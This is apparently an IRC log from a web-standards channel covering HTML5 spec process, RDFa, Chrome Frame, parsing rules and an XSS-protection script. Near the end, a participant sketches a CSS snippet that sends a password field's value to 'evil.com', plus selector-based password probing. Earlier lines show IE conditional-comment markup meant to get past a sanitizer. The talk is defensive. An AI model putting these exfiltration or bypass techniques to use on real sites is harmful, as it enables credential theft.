00:07
<TabAtkins>
All right, I'm out for the night. Time to go home where we're currently suffering from Day 12 of no internet.
00:07
<tantek>
the changing of chairs appears to be more periodic than anything else, occurring every 7-8 months.
00:08
<Philip`>
Have there been more chair changes than there have been spec publications?
00:40
<othermaciej>
Philip`: I would guess no, because we published 3 drafts initially and at least one of those has been republished
07:03
<Tristan>
HTML5 is epic
07:11
<Hixie>
Tristan: glad you like it :-)
07:11
<Hixie>
othermaciej: what's the plan for PENDING REVIEW?
07:11
<Hixie>
othermaciej: should i treat that as closed?
07:11
<othermaciej>
Hixie: let me review the set of PENDING REVIEW issues
07:12
<Hixie>
just trying to work out if i should make the green lighter on the chart, to reduce the emphasis
07:12
<othermaciej>
yes, and I'll propose moving all of those to closed
07:12
<Hixie>
k
07:12
<othermaciej>
I suppose in theory future "pending review" issues could be less equivalent to CLOSED
07:13
<othermaciej>
technically we need them all to be CLOSED to get to LC, if we take the "zero open issues" thing seriously
07:16
<Hixie>
ok updated the chart correspondingly
07:16
<Hixie>
i like how you can tell things change each time the chairs change
07:16
<Hixie>
e.g. as mike came in, "RAISED" is used for the first time
07:17
<Hixie>
as you come in, the OPEN count drops like a cliff
07:17
<Hixie>
and when Sam came in, the open count goes up and down suddenly for a month
07:18
<othermaciej>
can you remind me of the URL?
07:18
<othermaciej>
I hope I can get the OPEN count to keep dropping
07:18
<Hixie>
http://damowmow.com/playground/htmlwg/chart.html
07:21
<othermaciej>
I don't see that much change in issue state around Sam becoming chair - I guess a little jagginess up and down just after
07:21
<Hixie>
yeah that's all
07:32
<othermaciej>
ok, I got rid of the 3 Pending Review where I was confident I could do so without further consultation
07:33
<othermaciej>
I'm confused by the chart
07:33
<othermaciej>
there are 2 issues in PENDING REVIEW state and just a little while ago there were 5
07:33
<othermaciej>
but the chart makes it look like there are 50
07:33
<othermaciej>
did you perhaps reverse the CLOSED and PENDING REVIEW counts?
07:33
<othermaciej>
Hixie: ^
07:33
<Hixie>
hm, maybe
07:33
Hixie
looks
07:35
<Hixie>
looks like i did, but i can't see why, since i take the states straight from the tracker
07:35
<Hixie>
oops
07:35
<Hixie>
i see what happened
07:35
<Hixie>
i sorted the fields in the header of the csv
07:35
<Hixie>
but didn't sort the fields of the data rows in the same way!
07:36
Hixie
regenerates the data
07:36
<othermaciej>
that explains a lot
07:39
<othermaciej>
when you remove Origin and split out predefined vocabularies that will let me close 2 more issues by consensus
07:40
<othermaciej>
if MikeSmith proposes H:TML for FPWD as non-normative that will let me close two others
07:41
<MikeSmith>
I will do that but not this week
07:41
<hsivonen>
Hixie: it would be interesting to rerun the script that shows who is responsible for the most email on the list by attracting replies
07:41
<othermaciej>
I'm just looking for issues that seem resolvable without major wrangling
07:41
<MikeSmith>
(I was basically off this week for Monday through Wednesday due to the so-called Silver Week holidays here in Japan)
07:42
<othermaciej>
yeah no prob
07:43
<othermaciej>
it would be nice to get under 20 OPEN+RAISED
07:43
<othermaciej>
from Hixie's chart it looks like we were very briefly right at 20 for that total
07:49
<Hixie>
ok finished tweaking the chart
07:49
<Hixie>
to have pretty colours
07:53
Mrmil
would like to see the chart. He likes pretty colours. :)
07:55
<Hixie>
Mrmil: http://damowmow.com/playground/htmlwg/chart.html
07:55
<hsivonen>
sigh. http://lists.w3.org/Archives/Public/public-rdf-in-xhtml-tf/2009Sep/0281.html
07:56
<jgraham>
Mrmil: In this case it will only be pleasing if the particular colours you like are green
07:57
<Mrmil>
:) I have troubles seeing the very light green. Talk about tilting someones head. Otherwise pretty cool
07:57
<jgraham>
Speaking of pretty colours though wtf were they thinking at Yahoo when they added the ugly, wavy, serif, *purple* yahoo logo to the clean, san serif, pink and blue flickr logo?
07:58
<MikeSmith>
hsivonen: I noticed that one too. Isn't that actually an XML spec violation. or at least I'd think that expecting that all UAs are going to behave that way is perhaps not too prudent
07:59
Mrmil
wonders if Hixie could make a <canvas> tut out of it...
08:00
<Hixie>
the lightest colour is meant to be more or less invisible
08:01
<MikeSmith>
light colors in general don't show up so well on my Apple MikeBook
08:01
<MikeSmith>
I tried doing the gamma-adjustment thing but it doesn't seem to help much
08:02
<MikeSmith>
or maybe it's a feature that I'm meant to appreciate (the fact that the saturation of the colors changes drastically depending on the angle at which I view the screen)
08:03
<hsivonen>
MikeSmith: DOM Level 2 represents namespace information items as attributes in a magic namespace. the DOM is semi-bogus in terms of the infoset but at least this part is coherent
08:04
<MikeSmith>
OK
08:04
<hsivonen>
coerent but evidently highly unintuitive
08:04
<hsivonen>
*coherent
08:04
<othermaciej>
hsivonen: *sigh* because of the DOM Level 1-ness?
08:05
<hsivonen>
othermaciej: sigh because of "surprise" and completely missing the point
08:05
<hsivonen>
http://intertwingly.net/blog/2009/09/22/Chromie is awesomeness
08:05
<othermaciej>
And the follow-up
08:06
<othermaciej>
hsivonen: it's kind of funny that his implementation was designed to work in HTML rather than XHTML when the spec covers the latter but not the former
08:06
<hsivonen>
othermaciej: and Level 1-ness also
08:07
<hsivonen>
othermaciej: no so funny if one wants proper specs for the platform
08:09
<othermaciej>
hsivonen: changing the subject a few degrees - assuming it's intended to capture both real XML namespace declarations, and attributes in HTML that look like them, should the processing requirements say to consider any attribute whose tagName starts with "xmlns:", or separately attributes in the xmlns namespace and attributes in the null namespace whose localNames start with "xmlns:"?
08:09
<othermaciej>
hsivonen: and should both be allowed in both syntaxes?
08:10
<hsivonen>
othermaciej: I think dispatching on nodeName is achitecturally unsound
08:11
<othermaciej>
I'm not sure if it's practically different from the two-pronged test
08:11
<hsivonen>
othermaciej: I don't want to go there, but maybe the spec needs to go there to paper over the damage
08:11
<othermaciej>
is it possible to get an attribute whose nodeName starts with "xmlns:" without it being in either the null namespace or the xmlns namespace?
08:12
<Hixie>
i can't believe y'all are spending so much time on something as fundamentally broken as rdfa
08:12
<hsivonen>
othermaciej: not AFAICT
08:13
<othermaciej>
so either way of saying it would be equivalent in practice, though perhaps the two-pronged version seems architecturally cleaner
08:13
<othermaciej>
Hixie: my thinking on RDFa is that it's less damaging to spec it soundly and unambiguously (including use in text/html) than to not spec it
08:14
<othermaciej>
not because I think it's awesome but because failing to spec it will just create more interop failure
08:14
<hsivonen>
Hixie: my interest is damage mitigation to parts of the stack I work on
08:14
<othermaciej>
otoh maybe the process of specing it will result in some enhancements that make it easier to use right
08:15
<jgraham>
Hixie: I am strongly reminded of the Sirius Cybernetics Corporation: "[o]ne is blinded to the fundamental uselessness of their products by the sense of achievement one feels in getting them to work at all. In other words, their fundamental design flaws are completely hidden by their superficial design flaws."
08:16
<othermaciej>
that being said, it seems funny that people who don't like RDFa at a design level are much more interested in having a really precise spec for it than people who do like it
08:19
<zcorpan>
hsivonen: i guess it shows Ben's level of experience with XHTML and the DOM
08:20
<Hixie>
it's more that the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing
08:20
<Hixie>
like, DOM Core
08:20
<Hixie>
user interaction events like 'click'
08:20
<Hixie>
even DOM Traversal and DOM Range would be more important than RDFa
08:20
<erlehmann>
Hixie, about the metadata issue. when do you think will this part of the spec have a chance of becoming stable ?
08:20
<Hixie>
erlehmann: hm?
08:21
<othermaciej>
I don't think I can help DOM Core without a competent person stepping up to be editor
08:21
<othermaciej>
but I can probably help File API
08:21
<othermaciej>
planning to go over it with weinig and/or ap soon
08:22
<erlehmann>
Hixie, well, when i built something with microdata and the spec changed, i raged a little for being so careless and not asking if this feature is intended to be stable.
08:22
<erlehmann>
so i guess i should use RDFa for now, till HTML5 gets its way
08:23
<Hixie>
erlehmann: oh you mean microdata?
08:24
<Hixie>
erlehmann: we're doing studies for microdata in the coming days, the spec should be done in a few weeks
08:24
<erlehmann>
oh nice :)
08:25
<zcorpan>
i wonder if chrome frame looks at the x-ua-compatible http header
08:26
<erlehmann>
zcorpan, i wonder why chrome frame doesn't actually trigger when IE is in „standards“ mode.
08:26
<zcorpan>
erlehmann: that'd break sites
08:27
<zcorpan>
well, to the same extent they break in chrome, i guess, but surely that's enough for people to uninstall the plugin
08:27
<erlehmann>
zcorpan, really ? wouldnt IE-broken sites trigger quirks mode anyway ?
08:27
<zcorpan>
erlehmann: uh, no
08:28
<erlehmann>
zcorpan, so what kind of breakage are you referring to ? i must admit i have not touched internet explorer for more than a year, except to make test screenshots of CSS layouts (does everything look alright ? hell, no.).
08:29
<zcorpan>
well, imagine a bank that uses an xhtml doctype and requires activex to log in
08:30
<erlehmann>
doesn't chrome come with an activeX shim plugin, like mozilla browsers do on windows ?
08:30
<zcorpan>
dunno
08:31
<zcorpan>
does firefox have an activex shim by default?
08:31
<hsivonen>
zcorpan: not by default afaik
08:32
<zcorpan>
ok
08:32
<hsivonen>
zcorpan: that wouldn't promote freedom and choice of OS on the Internet
08:32
<zcorpan>
indeed
08:33
<erlehmann>
wise words, hsivonen, wise words.
08:33
<zcorpan>
i wonder, will chrome frame be able to run in chrome's quirks mode?
08:35
zcorpan
notes that http://ben.adida.net/index.xhtml has its style sheet commented out
08:36
<zcorpan>
Hixie: maybe we should change <style>'s and <script>'s processing model to also look at comment nodes, not just text nodes
08:36
<Hixie>
why would we do that
08:36
<Philip`>
Just tell people not to use comments in style/script
08:36
<hsivonen>
zcorpan: XML processors are permitted to discard comments
08:37
<zcorpan>
hsivonen: hmm, good point
08:37
<Philip`>
and if they still want Netscape 2 compatibility then they shouldn't be using XHTML
08:37
<zcorpan>
Hixie: to ease migration to xhtml
08:37
<Hixie>
comments are comments
08:37
<Hixie>
we're not going to execute script in comments
08:37
<Hixie>
that's a security nightmare waiting to happen
08:49
<Hixie>
ok last chance for people to comment on the microdata study materials http://damowmow.com/playground/microdata/
09:04
zcorpan
looks
09:06
<zcorpan>
Hixie: you're not going to do usability study on reversed dns identifiers?
09:06
<Hixie>
no
09:06
<Hixie>
not sure how we would do that
09:32
<Philip`>
"the time you're spending on this feature is time not spent on many much more important features that much more desperately need speccing, like, DOM Core, user interaction events like 'click'" - those would require us to do all the work, whereas with RDFa the RDFa people can do most of the work and just need to be guided in the direction that we want
09:35
<Philip`>
http://groups.google.com/group/google-chrome-frame/msg/c9fd31929ff7d7fc - "we aren't supporting the HTTP header (although we do support a separate MIME type, application/chromeframe)"
09:35
<Hixie>
sending e-mails is free?
09:38
<Philip`>
No, but the effect can be much greater than the effort put into writing it
09:40
<zcorpan>
Philip`: ouch, separate mime type?
09:40
<jgraham>
?!?
09:41
<Philip`>
Seems perfectly sensible given that MIME types are designed to identify the client, not the content
09:41
<Philip`>
(by which I mean the exact opposite)
09:41
<zcorpan>
what is the chrome team smoking?
09:42
<zcorpan>
is there a heading sent with the request to tell the server that the plugin is available?
09:43
<Philip`>
I think someone said it adds "chromeframe" to the UA string
09:44
<Philip`>
(Maybe the MIME type is just an implementation detail of how they make IE re-render the page using the new engine, or something, and not intended to be used externally)
09:45
<zcorpan>
at some point we should do a crawl with the chromeframe UA string to see how many return application/chromeframe
09:51
<Philip`>
http://wave.google.com/ - <meta name="keywords” content=”online collaboration, online communication, collaborative editing, web application, photo sharing,developer preview" /> - hooray for curly quotes
09:52
<Philip`>
(They don't even make the page invalid)
09:53
<Philip`>
(Actually I suppose they do in HTML5 because the keyword won't be recognised)
09:53
<Philip`>
(...and because there's no content attribute)
09:54
<Philip`>
(So, okay, they do make the page invalid)
09:55
hsivonen
foresees trouble with the chrome frame MIME type
09:56
<hsivonen>
in other news, I got a split parser Gecko finally show me some content
09:57
<zcorpan>
hmm, two new entities
09:57
<zcorpan>
+ <tr> <td> <code title="">bsolhsub;</code> </td> <td> U+027C8 </td> </tr>
09:57
<zcorpan>
+ <tr> <td> <code title="">suphsol;</code> </td> <td> U+027C9 </td> </tr>
09:57
<hsivonen>
sigh. the dual parser core stuff still isn't right, though
09:58
<hsivonen>
zcorpan: did the Math WG just mint those?
09:58
<zcorpan>
dunno
09:58
jgraham
wonders what those represent
09:58
<jgraham>
Because they look more like fortran 77 variable names than anything
09:59
<zcorpan>
i wonder why mathml has all these entities at all
09:59
<jgraham>
zcorpan: It's nice for hand authouring, like LaTeX.
09:59
<zcorpan>
mathml is not nice for hand authoring
09:59
<jgraham>
Of course the rest of MathML sucks for hand authoring
10:07
<erlehmann>
SEE WHAT MATHML DOES TO IRC ?
10:12
<zcorpan>
erlehmann: shh, don't mention its name
10:13
<erlehmann>
zcorpan, but you were AWAY
10:14
<zcorpan>
each entity causes 3 users to disconnect
10:16
<jgraham>
U+27C8 Reverse Solidus Preceding Subset
10:16
<jgraham>
U+27C9 Superset Preceding Solidus
10:19
<sirdarckcat>
Hello! is there anybody alive?
10:19
<Hixie>
i'm alive!
10:20
<jgraham>
Everyone's dead Dave
10:20
<sirdarckcat>
hey :), could you give me suggestions about a security program Im making in javascript.. part of it is to parse HTML, and I have some doubts
10:21
<sirdarckcat>
this case: <script>x='<a href="</script>">';</script>
10:21
<sirdarckcat>
should I make an exception for certain tags?
10:21
<sirdarckcat>
or whats the deal with <script>
10:22
<zcorpan>
sirdarckcat: what are you trying to do?
10:22
<sirdarckcat>
do you know CSP?
10:23
<sirdarckcat>
Im trying to implement something similar to CSP, but as a javascript script
10:23
<sirdarckcat>
apparently, it is possible...
10:23
<sirdarckcat>
but the HTML parser and CSS parsers are a headache
10:23
<sirdarckcat>
even JS is easier
10:24
zcorpan
doesn't know what CSP is
10:24
<sirdarckcat>
this is my simple HTML parser example: http://eaea.sirdarckcat.net/testhtml.html it removes some dangerous elements
10:24
<sirdarckcat>
Mozilla CSP - Content Security Policy
10:24
<zcorpan>
ah
10:24
<sirdarckcat>
https://wiki.mozilla.org/Security/CSP
10:25
<sirdarckcat>
My approach is something like.....
10:25
<zcorpan>
i guess you need to have an html5 parser and a sanitizer
10:25
<sirdarckcat>
<html><head><script src="/acs.js">/*your-policy-here*/</script>... the rest of the html code ...
10:26
<sirdarckcat>
well... Im targetting at quirks mode first
10:26
<sirdarckcat>
but yeah
10:26
<zcorpan>
quirks mode only affects <p><table> parsing
10:26
<sirdarckcat>
oh, then.. not-standards-compilant-html-parsers
10:27
<sirdarckcat>
everything is pretty easy I think, except stuff like what to do with unclosed comments, with unclosed tags, wich characters should close an HTML tag before an >, etc..
10:28
<Philip`>
So everything's pretty easy except for all the hard parts (which HTML5 defines)? :-)
10:28
<sirdarckcat>
yep
10:28
<sirdarckcat>
haha
10:28
<zcorpan>
<script>x='<a href="</script>">';</script> results in a script containing "x='<a href="" followed by the text "">';" and the straw </script> tag is dropped
10:28
<sirdarckcat>
zcorpan, yeah.. but hmm which tags behave like this?
10:29
<sirdarckcat>
only script and style?
10:29
<zcorpan>
script and style are RAWTEXT elements
10:29
<zcorpan>
um
10:29
<zcorpan>
and xmp
10:29
<sirdarckcat>
oh
10:29
<zcorpan>
and probably more i'm forgetting
10:29
<zcorpan>
you should really use an html5 parser :)
10:30
<zcorpan>
v.nu is available in javascript
10:30
<zcorpan>
the parser, that is
10:30
<sirdarckcat>
well, yeah I will use an html5 parser, but.. I dont want to break existing websites.. I know one of the aims of html5 is this but...
10:30
<sirdarckcat>
so I will allow the developer to choose
10:31
<sirdarckcat>
the html5 parser, or the paranoic parser
10:31
<sirdarckcat>
mine is paranoic
10:31
<zcorpan>
i think chances are the paranoic parser is more likely to break existing websites :P
10:32
<sirdarckcat>
mmm why?
10:32
<jgraham>
sirdarckcat: What makes you think that your parser works better than a HTML5 parser
10:32
<jgraham>
?
10:32
<sirdarckcat>
well, its not that it works better.. is that its made specially for the project Im doing hehe
10:32
<zcorpan>
because it's nontrivial to get all the details right and existing content depends on getting all the details right
10:32
<sirdarckcat>
well, the purpose of the project is to protect against web-based threads
10:33
<erlehmann>
sirdarckcat why is that so?
10:33
<sirdarckcat>
so I made several decisions based on that objective
10:33
<zcorpan>
web-based threads?
10:33
<sirdarckcat>
welll.. mostly xss
10:33
<Philip`>
sirdarckcat: The security comes from the sanitiser and serialiser, not the parser
10:33
<Philip`>
so the parser might as well be optimised for compatibility instead
10:33
<zcorpan>
ah, threats
10:34
<sirdarckcat>
yeah threats sorry haha, philip: well.. yes and no
10:34
<jgraham>
Didn't you know that the web is actually woven from fine thread?
10:34
<zcorpan>
jgraham: true
10:35
<sirdarckcat>
the differences I have are cases like: <a x"href="....
10:35
<zcorpan>
what about <a x"href="?
10:35
<sirdarckcat>
and hmm, maybe how to behave where there's an unclosed <
10:36
<erlehmann>
sirdarckcat, your toy breaks my javascript trickery
10:36
<erlehmann>
is it intended that it kills stylesheet and ALL scripts as well ?
10:36
<sirdarckcat>
and stuff, I dont agree with html5.. haha since as an attacker I see that other approaches are safer (even if not so compatible)
10:36
<jgraham>
sirdarckcat: I don't understand waht you are saying
10:36
<sirdarckcat>
@erlehmann -> I disable them for the moment I can disable that if you want
10:36
<erlehmann>
sirdarckcat, i dont quite get what you are doing.
10:37
<erlehmann>
making pages safer by WHAT ?
10:37
<sirdarckcat>
basically, its a js-implementation of Mozilla CSP
10:38
<Hixie>
all in favour of me renaming "onseeked" to the more technically correct "onsought"?
10:38
<zcorpan>
Hixie: no
10:38
<jgraham>
Hixie: Seriously?
10:38
<hsivonen>
Hixie: have implementations shipped?
10:38
<Philip`>
I don't think I've ever heard the term "sought" used in the context of media seeking
10:39
<zcorpan>
sought is like spelling language
10:39
<zcorpan>
plus, onseeked is implemented already
10:39
<hsivonen>
I think we have a new Referer here
10:39
<jgraham>
sirdarckcat: We made a sanitizer on top of html5lib that passes these tests: http://code.google.com/p/html5lib/source/browse/testdata/sanitizer/tests1.dat
10:40
Hixie
informs his partner that he will be sticking with "seeked", english be damned
10:40
<jgraham>
(and some more actually)
10:40
<Hixie>
(carey is an english major, so apparently this is irksome)
10:40
<zcorpan>
hsivonen: firefox 3.5 fires 'seeked' events
10:41
<hsivonen>
zcorpan: OK. then no, it's not a good idea to rename the event
10:41
<erlehmann>
good that i only use timeupdate
10:41
<jgraham>
onsought sounds wrong to me anyway
10:41
<erlehmann>
maybe you should let this carey approve your commits as well, Hixie
10:42
<erlehmann>
;)
10:42
<Hixie>
i didn't seriously consider renaming the event
10:42
<Hixie>
though having onsought would be pretty hilarious
10:42
<erlehmann>
onslaught !
10:42
<sirdarckcat>
@jgraham how do I test the sanitizer?
10:42
<zcorpan>
erlehmann: that's what i was going to say
10:43
<erlehmann>
zcorpan, thats what your mom said ^^
10:43
<jgraham>
sirdarckcat: clone the html5lib hg repository. Go to python/tests/ and run python test_sanitizer.py
10:44
<sirdarckcat>
thanks :)
10:44
<erlehmann>
jgraham, did you just utterly destroy everything sirdarckcat worked so hard for ?
10:45
<sirdarckcat>
haha well I dont think so, I want to find a bypass to the sanitizer
10:45
<sirdarckcat>
I will stick with the parser
10:46
<sirdarckcat>
for example, apparently IE conditional comments are deleted by the sanitizer..
10:46
<sirdarckcat>
and IE's conditoonal comments suck... <!--[if true]><img src="-->" alt="<![endif]>">
10:48
<zcorpan>
how does ie tokenize conditional comments?
10:49
<sirdarckcat>
in that case, thats an image
10:49
<sirdarckcat>
oops
10:49
<sirdarckcat>
wait
10:49
<sirdarckcat>
<!--[if true]><img src="-->" alt=""><![endif]>
10:49
<sirdarckcat>
should be like that haha
10:50
<sirdarckcat>
and ie allows nested comments
10:50
<sirdarckcat>
 <!--[if true]> <!--[if true]>1 <![endif]-->2 <![endif]-->3
10:51
<sirdarckcat>
and I want to support that :S, but iirc html5 is not compatible with IE weirdness (anyway, I dissagree with ie's parsing rules, I want to support them)
10:52
<zcorpan>
what do you mean by support?
10:52
<zcorpan>
wouldn't you just want to emit what other browsers would treat it as, i.e. "23"?
10:52
<zcorpan>
uh
10:52
<zcorpan>
"2 3"
10:52
<sirdarckcat>
well... parse what is inside the comment as IE would (or the best I can at least)
10:53
<zcorpan>
which version of ie?
10:53
<sirdarckcat>
all versions
10:53
<zcorpan>
they're all different
10:53
<sirdarckcat>
I mean, all support this comment stuff
10:54
<zcorpan>
so what would you do with <!--[if IE 7]>x<![endif]--> ?
10:54
<sirdarckcat>
@zcorpan, I want to make a parser that will show 1 2 3 on IE and 2 3 on other browsers
10:54
<roc>
"DrWatson Postmortem Debugger has encountered a problem and needs to close. We are sorry for the inconvenience." sigh
10:55
<sirdarckcat>
@zcorpan, I generate an HTML comment with the content: [if IE 7]>x<![endif]
10:55
<sirdarckcat>
thats easy
10:55
<sirdarckcat>
this is not easy: <!--[if IE 7]><img src="<![endif]-->"><![endif]-->
10:55
<sirdarckcat>
:(
10:56
<zcorpan>
i thought you wanted to show the x if the browser is ie7
10:56
<sirdarckcat>
anyway.. those are some of the diffs between html5 and my parser, the comments-inside-attribute-names are other diffs
10:56
<sirdarckcat>
@zcorpan IE will do that
10:56
<zcorpan>
oh so you serialize and let the browser reparse
10:56
<sirdarckcat>
I do... document.write(safeCode.innerHTML);
10:56
<zcorpan>
ah
10:56
<sirdarckcat>
yep
10:56
<sirdarckcat>
:)
10:57
<sirdarckcat>
anyway, I really hate IE and Opera
10:57
<sirdarckcat>
they do it wrong
10:57
<sirdarckcat>
anyway...
10:57
<zcorpan>
what about <![if !IE]>x<![endif]>
10:57
<sirdarckcat>
that's left the same
10:57
<sirdarckcat>
I create an element <![if IE]>
10:57
<sirdarckcat>
only IE supports doing that
10:57
<sirdarckcat>
but, thats ok
10:58
<sirdarckcat>
only IE supports conditional comments anyway
10:58
<zcorpan>
what will happen in other browsers?
10:58
<sirdarckcat>
I ignore it
10:58
<zcorpan>
ok
10:59
<sirdarckcat>
anyway.. the way Im parsing the HTML code is not compatible with the rawtext elements :(
10:59
<sirdarckcat>
so I was wondering, if there are other cases I may be missing
11:01
<zcorpan>
"The following HTML elements have varying levels of special parsing rules: address, area, article, aside, base, basefont, bgsound, blockquote, body, br, center, col, colgroup, command, datagrid, dc, dd, details, dir, div, dl, ds, dt, embed, fieldset, figure, footer, form, frame, frameset, h1, h2, h3, h4, h5, h6, head, header, hgroup, hr, iframe, img, input, isindex, li, link, listing, menu, meta, nav, noembed, noframes, noscript, ol, p,
11:01
<zcorpan>
plaintext, pre, script, section, select, spacer, style, tbody, textarea, tfoot, thead, title, tr, ul, wbr, and xmp."
11:02
<sirdarckcat>
wow
11:02
<sirdarckcat>
haha
11:02
<zcorpan>
and then there's scoping elements and formatting elements
11:03
<zcorpan>
read the spec :)
11:03
<sirdarckcat>
hmm, I have (sort of.. not all hehe)
11:03
<zcorpan>
have you read section 9.2?
11:05
<sirdarckcat>
btw, about scoping elements and formating elements, the browsers fix this in the dom, so usually I dont have to check for that.. and the other edge case I handle is plaintext, (and xmp/script/style at some degree) but I didnt know all those had special treatments
11:05
<sirdarckcat>
let me check
11:05
<sirdarckcat>
9.2 is parsing
11:06
<sirdarckcat>
yeah
11:06
<zcorpan>
if you've read it, it shouldn't come as a surprise that all those elements have special treatments
11:07
<sirdarckcat>
hmmm thanks for the pointerm I miss-readed that
11:07
<sirdarckcat>
I beleived the browser was going to alert on those cases automatically
11:07
<zcorpan>
alert how?
11:08
<sirdarckcat>
well, like trying to put an <li> outside list, or <option>, trying to append an html node inside a <xmp>
11:08
<sirdarckcat>
or trying to append a node inside an image
11:09
<sirdarckcat>
in my tests all browsers didnt allow to do that in the DOM
11:09
<sirdarckcat>
so I just trusted them
11:09
<zcorpan>
i don't follow
11:10
<sirdarckcat>
document.createElement("img").appendChild(document.createElement("p"))
11:10
<sirdarckcat>
oh wait
11:10
<sirdarckcat>
are special parsing rules
11:10
<gsnedders>
What you do through DOM manipulation has no effect on parsing of HTML.
11:10
<erlehmann>
dc ?
11:11
<sirdarckcat>
hmm
11:11
<sirdarckcat>
Im confused
11:11
<sirdarckcat>
"The following HTML elements have varying levels of special parsing rules"
11:11
annevk2
wonders how much actually would break if HTTP interpreters switched to UTF-8
11:11
<gsnedders>
annevk2: A fair number of password forms
11:11
<sirdarckcat>
where are the special parsing rules?
11:12
<annevk2>
gsnedders, aah, really?
11:13
<annevk2>
gsnedders, they use iso-8859-1?
11:13
<zcorpan>
sirdarckcat: in http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenization.html#tree-construction
11:13
<annevk2>
or more likely windows-1252
11:13
<gsnedders>
annevk2: Yup. I don't it's defined how they cope with stuff outside of that, though it obviously works.
11:13
<gsnedders>
annevk2: Some UAs use ISO-8859-1, others Windows-1252. It doesn't seem to matter for compat which.
11:16
<zcorpan>
sirdarckcat: for a trivial case of special parsing rules, see "address" (which closes <p> but is otherwise like a normal element)
11:16
<sirdarckcat>
@zcorpan wow, I;ve been in that page before but well.. as I said I just made the wrong assumptions on how the browser accepts or doesnt accept the content of the DOM
11:18
<sirdarckcat>
I'll read the spec more carefully now :)
11:26
<Philip`>
Reading specs carefully is a good idea :-)
11:26
<Philip`>
Well, depending on what spec it is
11:26
<jgraham>
Philip`: Only if you like complaining about them
11:26
<Philip`>
Some you just need to gather the general concepts from the spec and then trust the details will work themselves out
11:27
<zcorpan>
like HTML+RDFa
11:28
<Philip`>
That's not really a spec, it's just an early draft with lots of acknowledged issues
11:28
<Philip`>
Better to pick on examples that are Recs :-)
11:28
<jgraham>
HTML4
11:30
<sirdarckcat>
oh, btw.. if someone is interested about the project.. evendo it will utlimatelly probably going to be replaced by Mozilla CSP (once and if its implemented by all browsers), its here: http://google.sirdarckcat.net/acs.doc it has more features than CSP, but well heh
11:31
<jgraham>
Oh, that really is a Word document.
11:31
<jgraham>
Nevermind then, I guess
11:32
<sirdarckcat>
haha.. yes its word.. sorry
11:33
<sirdarckcat>
one guy from mozilla ask me the documentation, I sent him the doc and then he replied "sorry, I dont use MS office".. xD
11:33
<sirdarckcat>
I was tempted to send him a link to openoffice :P but well...
11:34
<zcorpan>
he would probably reply "sorry, I dont use openoffice"
11:35
<Philip`>
You know, there's this document format that works pretty well on the web
11:35
<Philip`>
It even loads directly in a web browser, without requiring you to download hundreds of megabytes of office suite
11:35
<jgraham>
Philip`: Yeah, PDF is great
11:35
<erlehmann>
wat
11:36
<zcorpan>
Silverlight?
11:36
<zcorpan>
or is that not a document format?
11:36
<jgraham>
VRML?
11:37
<erlehmann>
interactive MNG
11:38
<sirdarckcat>
http://docs.google.com/View?id=ddqtfnx3_381fxp3zjf3
11:38
<roc>
zcorpan: the Silverlight/WPF PDF-alike is called XPS
11:39
<Philip`>
I think I was using IE8 on Vista and wanted to print a web page to a file
11:40
<Philip`>
and it had an XPS Writer printer thing
11:40
<Philip`>
so I did that, but I couldn't manage to open the XPS file again
11:40
<Philip`>
It just gave me .NET error messages whenever I tried
11:41
<sirdarckcat>
try openoffice, it can read xps
11:41
<Philip`>
If I remember correctly, it also got confused because it tried opening the XPS in my default browser, which was no IE, and the XPS viewer seems to be embedded in IE or something
11:41
<Philip`>
so I was not entirely impressed, and gave up
11:42
<Philip`>
s/no IE/not IE/
11:42
<Philip`>
sirdarckcat: I'm not downloading hundreds of megabytes of office suite just to view something equivalent to a PDF
11:43
<sirdarckcat>
Microsoft XPS Viewer
11:43
<sirdarckcat>
Download the Microsoft XPS Viewer
11:43
<sirdarckcat>
Download size: 2.8 MB*
11:43
<Philip`>
That's what I was using
11:43
<sirdarckcat>
http://www.microsoft.com/whdc/xps/viewxps.mspx
11:43
<sirdarckcat>
oh
11:43
<sirdarckcat>
:(
11:43
<Philip`>
and it just used the wrong browser and then gave .NET errors
11:44
<zcorpan>
Philip`: clearly it's your fault for using the wrong browser
11:46
<gsnedders>
sirdarckcat: That isn't supported on my OS.
11:46
<sirdarckcat>
http://www.artifex.com/downloads/
11:46
<sirdarckcat>
..
11:46
<sirdarckcat>
haha
11:46
Philip`
attempts to reproduce
11:46
<Philip`>
Double click on file in Explorer: download dialog pops up in Opera
11:46
<Philip`>
"Open with" is XPSViewer.exe
11:47
<Philip`>
Clicking "Open" opens another download dialog in Opera
11:47
<sirdarckcat>
haha
11:48
<sirdarckcat>
the html5 sanitizer looks very good
11:48
<Philip`>
Pasting the URL into IE spends twenty seconds thrashing the disk (obviously it's competing with Acrobat) and then says "An error occurred in the application you were using" in the normal IE error page style
11:48
<Philip`>
because of a System.Reflection.TargetInvocationException because of a System.UriFormatException
11:49
<Philip`>
because there was a colon (':') present but the port could not be parsed
11:49
<Philip`>
(I guess the URL is "C:\Users\...", because "file:///..." automatically gets converted into that in the address bar)
11:50
<Philip`>
(unless it's just confused by parsing file:///C:/...)
11:50
<Philip`>
So, yes, not a good impression of XPS
11:50
<Philip`>
(and I don't think I've done anything weird on this computer, other than installing browsers and Visual Studio and stuff)
11:51
<Philip`>
sirdarckcat: I think the way the html5lib sanitiser handles attribute values (particularly CSS) is nasty and ugly
11:52
<jgraham>
Yeah the CSS handling is really nasty
11:52
<sirdarckcat>
hmm.. if XP is the bastard child of XD and :P, XPS should have something to do with :S, so that explains it I guess
11:52
<jgraham>
The overall code isn't especially beautiful (the ginat nested if statement)
11:52
<jgraham>
But it seems to work pretty well
11:52
<sirdarckcat>
I'll check it out, but anyway most of the dangerous CSS attributes are gone arent they? url(javascript) expression, moz-binding
11:54
jgraham
might rewrite it someday
11:54
<Philip`>
It seems like quite a few people actually use the sanitiser for real, so it's seemingly important and useful
11:55
<sirdarckcat>
btw.. have u guys heard about
11:55
<sirdarckcat>
reading HTML attributes with CSS
11:56
<sirdarckcat>
the seamless attribute in iframe just made it more dangerous
11:59
<sirdarckcat>
anyway, I have to go, thanks for your time guys
11:59
<Philip`>
How so?
11:59
<Philip`>
Oh
12:09
<Philip`>
Maybe he means <style>input[type=password] { background-image: "http://evil.com/capture?"; attr(value); }</style><iframe seamless src=http://innocent-site.com/autofilled-login></iframe>; or something like that
12:10
<Philip`>
which sounds bad if there's not some difficulty I'm missing
12:11
<Philip`>
(I have no idea if that CSS syntax is right, but I assume there's something similar)
12:12
<annevk2>
you cannot use attr inside url()
12:13
<Philip`>
Even without attr, you can do stuff like use selectors to detect whether the password value contains 'a', whether it contains 'b', etc
12:13
<annevk2>
